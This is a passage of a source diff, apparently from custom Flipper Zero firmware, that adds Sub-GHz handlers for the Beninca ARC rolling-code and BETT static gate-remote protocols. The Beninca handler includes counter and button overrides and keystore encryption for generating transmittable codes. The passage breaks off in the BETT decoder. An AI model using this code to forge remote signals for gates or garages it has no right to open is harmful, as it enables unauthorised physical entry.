level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_long * 15);
|
||||
|
||||
*index = index_local;
|
||||
}
|
||||
|
||||
static void subghz_protocol_beninca_arc_encoder_prepare_packets(
|
||||
SubGhzProtocolEncoderBenincaARC* instance) {
|
||||
furi_assert(instance);
|
||||
|
||||
// Counter increment
|
||||
// check OFEX mode
|
||||
if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
|
||||
// standart counter mode. PULL data from subghz_block_generic_global variables
|
||||
if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
|
||||
// if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
|
||||
if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFFFFFF) {
|
||||
instance->generic.cnt = 0;
|
||||
} else {
|
||||
instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// TODO: OFEX mode
|
||||
instance->generic.cnt += 1;
|
||||
}
|
||||
// Index for upload array
|
||||
size_t index = 0;
|
||||
// Generate new key using custom or default button
|
||||
instance->generic.btn = subghz_protocol_beninca_arc_get_btn_code();
|
||||
|
||||
// override button if we change it with signal settings button editor
|
||||
if(subghz_block_generic_global_button_override_get(&instance->generic.btn))
|
||||
FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
|
||||
|
||||
// Make 3 packets with different mini counter values - 2, 4, 6
|
||||
for(uint8_t i = 0; i < 3; i++) {
|
||||
subghz_protocol_beninca_arc_encrypt(
|
||||
&instance->generic, instance->keystore, (uint64_t)((i + 1) * 2));
|
||||
subghz_protocol_beninca_arc_encoder_get_upload(instance, &index);
|
||||
}
|
||||
// Set final size of upload array
|
||||
instance->encoder.size_upload = index;
|
||||
}
|
||||
|
||||
bool subghz_protocol_beninca_arc_create_data(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
uint32_t serial,
|
||||
uint8_t btn,
|
||||
uint32_t cnt,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
// UwU
|
||||
SubGhzProtocolEncoderBenincaARC* instance = context;
|
||||
instance->generic.serial = serial;
|
||||
instance->generic.btn = btn; // 02 / 04
|
||||
instance->generic.cnt = cnt;
|
||||
instance->generic.seed = 0xAA55; // Fixed value constant
|
||||
instance->generic.data_count_bit = 128;
|
||||
|
||||
subghz_protocol_beninca_arc_encrypt(&instance->generic, instance->keystore, 0x1);
|
||||
|
||||
SubGhzProtocolStatus res =
|
||||
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
|
||||
uint8_t key_data[sizeof(uint64_t)] = {0};
|
||||
for(size_t i = 0; i < sizeof(uint64_t); i++) {
|
||||
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data_2 >> (i * 8)) & 0xFF;
|
||||
}
|
||||
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Rewind error");
|
||||
res = SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
if((res == SubGhzProtocolStatusOk) &&
|
||||
!flipper_format_insert_or_update_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
|
||||
FURI_LOG_E(TAG, "Unable to add Data2");
|
||||
res = SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
return res == SubGhzProtocolStatusOk;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_beninca_arc_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderBenincaARC* instance = context;
|
||||
SubGhzProtocolStatus res = SubGhzProtocolStatusError;
|
||||
do {
|
||||
if(SubGhzProtocolStatusOk !=
|
||||
subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Deserialize error");
|
||||
break;
|
||||
}
|
||||
|
||||
// Optional value
|
||||
flipper_format_read_uint32(
|
||||
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
|
||||
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Rewind error");
|
||||
break;
|
||||
}
|
||||
|
||||
uint8_t key_data[sizeof(uint64_t)] = {0};
|
||||
if(!flipper_format_read_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
|
||||
FURI_LOG_E(TAG, "Missing Data");
|
||||
break;
|
||||
}
|
||||
|
||||
for(uint8_t i = 0; i < sizeof(uint64_t); i++) {
|
||||
instance->generic.data_2 = instance->generic.data_2 << 8 | key_data[i];
|
||||
}
|
||||
|
||||
// TODO: if minicounter having larger value use it instead of fixed values
|
||||
subghz_protocol_beninca_arc_decrypt(&instance->generic, instance->keystore);
|
||||
|
||||
subghz_protocol_beninca_arc_encoder_prepare_packets(instance);
|
||||
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Rewind error");
|
||||
break;
|
||||
}
|
||||
|
||||
for(size_t i = 0; i < sizeof(uint64_t); i++) {
|
||||
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
|
||||
}
|
||||
if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
|
||||
FURI_LOG_E(TAG, "Unable to update Key");
|
||||
break;
|
||||
}
|
||||
|
||||
for(size_t i = 0; i < sizeof(uint64_t); i++) {
|
||||
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data_2 >> i * 8) & 0xFF;
|
||||
}
|
||||
if(!flipper_format_update_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
|
||||
FURI_LOG_E(TAG, "Unable to update Data");
|
||||
break;
|
||||
}
|
||||
|
||||
instance->encoder.is_running = true;
|
||||
|
||||
res = SubGhzProtocolStatusOk;
|
||||
} while(false);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_beninca_arc_yield(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderBenincaARC* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_beninca_arc_alloc(SubGhzEnvironment* environment) {
|
||||
SubGhzProtocolDecoderBenincaARC* instance = malloc(sizeof(SubGhzProtocolDecoderBenincaARC));
|
||||
instance->base.protocol = &subghz_protocol_beninca_arc;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
instance->keystore = subghz_environment_get_keystore(environment);
|
||||
instance->decoder.parser_step = BenincaARCDecoderStart;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_beninca_arc_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderBenincaARC* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_beninca_arc_reset(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderBenincaARC* instance = context;
|
||||
instance->decoder.parser_step = BenincaARCDecoderStart;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_beninca_arc_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderBenincaARC* instance = context;
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case BenincaARCDecoderStart:
|
||||
if((!level) && (DURATION_DIFF(duration, subghz_protocol_beninca_arc_const.te_long * 16) <
|
||||
subghz_protocol_beninca_arc_const.te_delta * 15)) {
|
||||
// GAP (9300 +- 2325 us) found switch to next state
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
instance->decoder.parser_step = BenincaARCDecoderHighLevel;
|
||||
break;
|
||||
}
|
||||
// No GAP so stay in current state
|
||||
break;
|
||||
case BenincaARCDecoderHighLevel:
|
||||
if(level) {
|
||||
instance->decoder.te_last = duration;
|
||||
instance->decoder.parser_step = BenincaARCDecoderLowLevel;
|
||||
// Check if we have collected enough bits
|
||||
if((instance->decoder.decode_count_bit ==
|
||||
(subghz_protocol_beninca_arc_const.min_count_bit_for_found / 2)) &&
|
||||
(instance->decoder.decode_data != 0)) {
|
||||
// Half data captured 64 bits
|
||||
instance->generic.data = instance->decoder.decode_data;
|
||||
instance->decoder.decode_data = 0;
|
||||
} else if(
|
||||
instance->decoder.decode_count_bit ==
|
||||
subghz_protocol_beninca_arc_const.min_count_bit_for_found) {
|
||||
// Full data captured 128 bits
|
||||
instance->generic.data_2 = instance->decoder.decode_data;
|
||||
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
|
||||
instance->decoder.parser_step = BenincaARCDecoderStart;
|
||||
|
||||
if(instance->base.callback) {
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
} else {
|
||||
instance->decoder.parser_step = BenincaARCDecoderStart;
|
||||
}
|
||||
break;
|
||||
case BenincaARCDecoderLowLevel:
|
||||
if(!level) {
|
||||
// Bit 1 is short and long timing = 300us HIGH (te_last) and 600us LOW
|
||||
if((DURATION_DIFF(
|
||||
instance->decoder.te_last, subghz_protocol_beninca_arc_const.te_short) <
|
||||
subghz_protocol_beninca_arc_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_beninca_arc_const.te_long) <
|
||||
subghz_protocol_beninca_arc_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
instance->decoder.parser_step = BenincaARCDecoderHighLevel;
|
||||
// Bit 0 is long and short timing = 600us HIGH (te_last) and 300us LOW
|
||||
} else if(
|
||||
(DURATION_DIFF(
|
||||
instance->decoder.te_last, subghz_protocol_beninca_arc_const.te_long) <
|
||||
subghz_protocol_beninca_arc_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_beninca_arc_const.te_short) <
|
||||
subghz_protocol_beninca_arc_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
instance->decoder.parser_step = BenincaARCDecoderHighLevel;
|
||||
} else {
|
||||
instance->decoder.parser_step = BenincaARCDecoderStart;
|
||||
}
|
||||
break;
|
||||
} else {
|
||||
instance->decoder.parser_step = BenincaARCDecoderStart;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_beninca_arc_get_hash_data(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderBenincaARC* instance = context;
|
||||
return subghz_protocol_blocks_get_hash_data(
|
||||
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_beninca_arc_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderBenincaARC* instance = context;
|
||||
SubGhzProtocolStatus ret =
|
||||
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
|
||||
uint8_t key_data[sizeof(uint64_t)] = {0};
|
||||
for(size_t i = 0; i < sizeof(uint64_t); i++) {
|
||||
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data_2 >> (i * 8)) & 0xFF;
|
||||
}
|
||||
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Rewind error");
|
||||
ret = SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
if((ret == SubGhzProtocolStatusOk) &&
|
||||
!flipper_format_insert_or_update_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
|
||||
FURI_LOG_E(TAG, "Unable to add Data");
|
||||
ret = SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_beninca_arc_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderBenincaARC* instance = context;
|
||||
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_beninca_arc_const.min_count_bit_for_found);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
break;
|
||||
}
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Rewind error");
|
||||
ret = SubGhzProtocolStatusErrorParserOthers;
|
||||
break;
|
||||
}
|
||||
uint8_t key_data[sizeof(uint64_t)] = {0};
|
||||
if(!flipper_format_read_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
|
||||
FURI_LOG_E(TAG, "Missing Data");
|
||||
ret = SubGhzProtocolStatusErrorParserOthers;
|
||||
break;
|
||||
}
|
||||
|
||||
for(uint8_t i = 0; i < sizeof(uint64_t); i++) {
|
||||
instance->generic.data_2 = instance->generic.data_2 << 8 | key_data[i];
|
||||
}
|
||||
} while(false);
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_beninca_arc_get_string(void* context, FuriString* output) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderBenincaARC* instance = context;
|
||||
|
||||
uint64_t middle_bytes_dec =
|
||||
subghz_protocol_beninca_arc_decrypt(&instance->generic, instance->keystore);
|
||||
|
||||
// push protocol data to global variable
|
||||
subghz_block_generic_global.cnt_is_available = true;
|
||||
subghz_block_generic_global.cnt_length_bit = 32;
|
||||
subghz_block_generic_global.current_cnt = instance->generic.cnt;
|
||||
|
||||
subghz_block_generic_global.btn_is_available = true;
|
||||
subghz_block_generic_global.current_btn = instance->generic.btn;
|
||||
subghz_block_generic_global.btn_length_bit = 8;
|
||||
//
|
||||
|
||||
furi_string_printf(
|
||||
output,
|
||||
"%s %db\r\n"
|
||||
"Key1:%08llX\r\n"
|
||||
"Key2:%08llX\r\n"
|
||||
"Sn:%08lX Btn:%02X\r\n"
|
||||
"Mc:%0lX Cnt:%0lX\r\n"
|
||||
"Fx:%04lX",
|
||||
instance->base.protocol->name,
|
||||
instance->generic.data_count_bit,
|
||||
instance->generic.data,
|
||||
instance->generic.data_2,
|
||||
instance->generic.serial,
|
||||
instance->generic.btn,
|
||||
(uint32_t)(middle_bytes_dec & 0xFFFFFFFF),
|
||||
instance->generic.cnt,
|
||||
instance->generic.seed & 0xFFFF);
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
#pragma once
|
||||
#include "base.h"
|
||||
|
||||
#define SUBGHZ_PROTOCOL_BENINCA_ARC_NAME "Beninca ARC"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderBenincaARC SubGhzProtocolDecoderBenincaARC;
|
||||
typedef struct SubGhzProtocolEncoderBenincaARC SubGhzProtocolEncoderBenincaARC;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_beninca_arc_decoder;
|
||||
extern const SubGhzProtocolEncoder subghz_protocol_beninca_arc_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_beninca_arc;
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolEncoderBenincaARC.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolEncoderBenincaARC* pointer to a SubGhzProtocolEncoderBenincaARC instance
|
||||
*/
|
||||
void* subghz_protocol_encoder_beninca_arc_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolEncoderBenincaARC.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderBenincaARC instance
|
||||
*/
|
||||
void subghz_protocol_encoder_beninca_arc_free(void* context);
|
||||
|
||||
/**
|
||||
* Deserialize and generating an upload to send.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderBenincaARC instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return true On success
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_beninca_arc_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Forced transmission stop.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderBenincaARC instance
|
||||
*/
|
||||
void subghz_protocol_encoder_beninca_arc_stop(void* context);
|
||||
|
||||
/**
|
||||
* Getting the level and duration of the upload to be loaded into DMA.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderBenincaARC instance
|
||||
* @return LevelDuration
|
||||
*/
|
||||
LevelDuration subghz_protocol_encoder_beninca_arc_yield(void* context);
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolDecoderBenincaARC.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolDecoderBenincaARC* pointer to a SubGhzProtocolDecoderBenincaARC instance
|
||||
*/
|
||||
void* subghz_protocol_decoder_beninca_arc_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolDecoderBenincaARC.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
|
||||
*/
|
||||
void subghz_protocol_decoder_beninca_arc_free(void* context);
|
||||
|
||||
/**
|
||||
* Reset decoder SubGhzProtocolDecoderBenincaARC.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
|
||||
*/
|
||||
void subghz_protocol_decoder_beninca_arc_reset(void* context);
|
||||
|
||||
/**
|
||||
* Parse a raw sequence of levels and durations received from the air.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
|
||||
* @param level Signal level true-high false-low
|
||||
* @param duration Duration of this level in, us
|
||||
*/
|
||||
void subghz_protocol_decoder_beninca_arc_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
/**
|
||||
* Getting the hash sum of the last randomly received parcel.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
|
||||
* @return hash Hash sum
|
||||
*/
|
||||
uint8_t subghz_protocol_decoder_beninca_arc_get_hash_data(void* context);
|
||||
|
||||
/**
|
||||
* Serialize data SubGhzProtocolDecoderBenincaARC.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_beninca_arc_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
/**
|
||||
* Deserialize data SubGhzProtocolDecoderBenincaARC.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_beninca_arc_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Getting a textual representation of the received data.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
|
||||
* @param output Resulting text
|
||||
*/
|
||||
void subghz_protocol_decoder_beninca_arc_get_string(void* context, FuriString* output);
|
||||
@@ -0,0 +1,333 @@
|
||||
#include "bett.h"
|
||||
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
|
||||
// protocol BERNER / ELKA / TEDSEN / TELETASTER
|
||||
#define TAG "SubGhzProtocolBett"
|
||||
|
||||
#define DIP_P 0b11 //(+)
|
||||
#define DIP_O 0b10 //(0)
|
||||
#define DIP_N 0b00 //(-)
|
||||
|
||||
#define DIP_PATTERN "%c%c%c%c%c%c%c%c%c"
|
||||
#define SHOW_DIP_P(dip, check_dip) \
|
||||
((((dip >> 0x8) >> 0x8) == check_dip) ? '*' : '_'), \
|
||||
((((dip >> 0xE) & 0x3) == check_dip) ? '*' : '_'), \
|
||||
((((dip >> 0xC) & 0x3) == check_dip) ? '*' : '_'), \
|
||||
((((dip >> 0xA) & 0x3) == check_dip) ? '*' : '_'), \
|
||||
((((dip >> 0x8) & 0x3) == check_dip) ? '*' : '_'), \
|
||||
((((dip >> 0x6) & 0x3) == check_dip) ? '*' : '_'), \
|
||||
((((dip >> 0x4) & 0x3) == check_dip) ? '*' : '_'), \
|
||||
((((dip >> 0x2) & 0x3) == check_dip) ? '*' : '_'), \
|
||||
((((dip >> 0x0) & 0x3) == check_dip) ? '*' : '_')
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_bett_const = {
|
||||
.te_short = 340,
|
||||
.te_long = 2000,
|
||||
.te_delta = 150,
|
||||
.min_count_bit_for_found = 18,
|
||||
};
|
||||
|
||||
struct SubGhzProtocolDecoderBETT {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderBETT {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
BETTDecoderStepReset = 0,
|
||||
BETTDecoderStepSaveDuration,
|
||||
BETTDecoderStepCheckDuration,
|
||||
} BETTDecoderStep;
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_bett_decoder = {
|
||||
.alloc = subghz_protocol_decoder_bett_alloc,
|
||||
.free = subghz_protocol_decoder_bett_free,
|
||||
|
||||
.feed = subghz_protocol_decoder_bett_feed,
|
||||
.reset = subghz_protocol_decoder_bett_reset,
|
||||
|
||||
.get_hash_data = subghz_protocol_decoder_bett_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_bett_serialize,
|
||||
.deserialize = subghz_protocol_decoder_bett_deserialize,
|
||||
.get_string = subghz_protocol_decoder_bett_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_bett_encoder = {
|
||||
.alloc = subghz_protocol_encoder_bett_alloc,
|
||||
.free = subghz_protocol_encoder_bett_free,
|
||||
|
||||
.deserialize = subghz_protocol_encoder_bett_deserialize,
|
||||
.stop = subghz_protocol_encoder_bett_stop,
|
||||
.yield = subghz_protocol_encoder_bett_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol subghz_protocol_bett = {
|
||||
.name = SUBGHZ_PROTOCOL_BETT_NAME,
|
||||
.type = SubGhzProtocolTypeStatic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
|
||||
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
|
||||
|
||||
.decoder = &subghz_protocol_bett_decoder,
|
||||
.encoder = &subghz_protocol_bett_encoder,
|
||||
};
|
||||
|
||||
void* subghz_protocol_encoder_bett_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderBETT* instance = malloc(sizeof(SubGhzProtocolEncoderBETT));
|
||||
|
||||
instance->base.protocol = &subghz_protocol_bett;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
instance->encoder.repeat = 3;
|
||||
instance->encoder.size_upload = 52;
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.is_running = false;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_bett_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderBETT* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
/**
|
||||
* Generating an upload from data.
|
||||
* @param instance Pointer to a SubGhzProtocolEncoderBETT instance
|
||||
* @return true On success
|
||||
*/
|
||||
static bool subghz_protocol_encoder_bett_get_upload(SubGhzProtocolEncoderBETT* instance) {
|
||||
furi_assert(instance);
|
||||
size_t index = 0;
|
||||
size_t size_upload = (instance->generic.data_count_bit * 2);
|
||||
if(size_upload > instance->encoder.size_upload) {
|
||||
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
|
||||
return false;
|
||||
} else {
|
||||
instance->encoder.size_upload = size_upload;
|
||||
}
|
||||
|
||||
for(uint8_t i = instance->generic.data_count_bit; i > 1; i--) {
|
||||
if(bit_read(instance->generic.data, i - 1)) {
|
||||
//send bit 1
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_bett_const.te_long);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_bett_const.te_short);
|
||||
} else {
|
||||
//send bit 0
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_bett_const.te_short);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_bett_const.te_long);
|
||||
}
|
||||
}
|
||||
if(bit_read(instance->generic.data, 0)) {
|
||||
//send bit 1
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_bett_const.te_long);
|
||||
instance->encoder.upload[index++] = level_duration_make(
|
||||
false,
|
||||
(uint32_t)subghz_protocol_bett_const.te_short +
|
||||
subghz_protocol_bett_const.te_long * 7);
|
||||
} else {
|
||||
//send bit 0
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_bett_const.te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(
|
||||
false,
|
||||
(uint32_t)subghz_protocol_bett_const.te_long + subghz_protocol_bett_const.te_long * 7);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_bett_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderBETT* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_bett_const.min_count_bit_for_found);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
FURI_LOG_E(TAG, "Deserialize error");
|
||||
break;
|
||||
}
|
||||
// Optional value
|
||||
flipper_format_read_uint32(
|
||||
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
|
||||
|
||||
if(!subghz_protocol_encoder_bett_get_upload(instance)) {
|
||||
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
|
||||
break;
|
||||
}
|
||||
instance->encoder.is_running = true;
|
||||
} while(false);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_bett_stop(void* context) {
|
||||
SubGhzProtocolEncoderBETT* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_bett_yield(void* context) {
|
||||
SubGhzProtocolEncoderBETT* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_bett_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderBETT* instance = malloc(sizeof(SubGhzProtocolDecoderBETT));
|
||||
instance->base.protocol = &subghz_protocol_bett;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_bett_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderBETT* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_bett_reset(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderBETT* instance = context;
|
||||
instance->decoder.parser_step = BETTDecoderStepReset;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_bett_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderBETT* instance = context;
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case BETTDecoderStepReset:
|
||||
if((!level) && (DURATION_DIFF(duration, subghz_protocol_bett_const.te_short * 44) <
|
||||
(subghz_protocol_bett_const.te_delta * 15))) {
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
instance->decoder.parser_step = BETTDecoderStepCheckDuration;
|
||||
}
|
||||
break;
|
||||
case BETTDecoderStepSaveDuration:
|
||||
if(!level) {
|
||||
if(DURATION_DIFF(duration, subghz_protocol_bett_const.te_short * 44) <
|
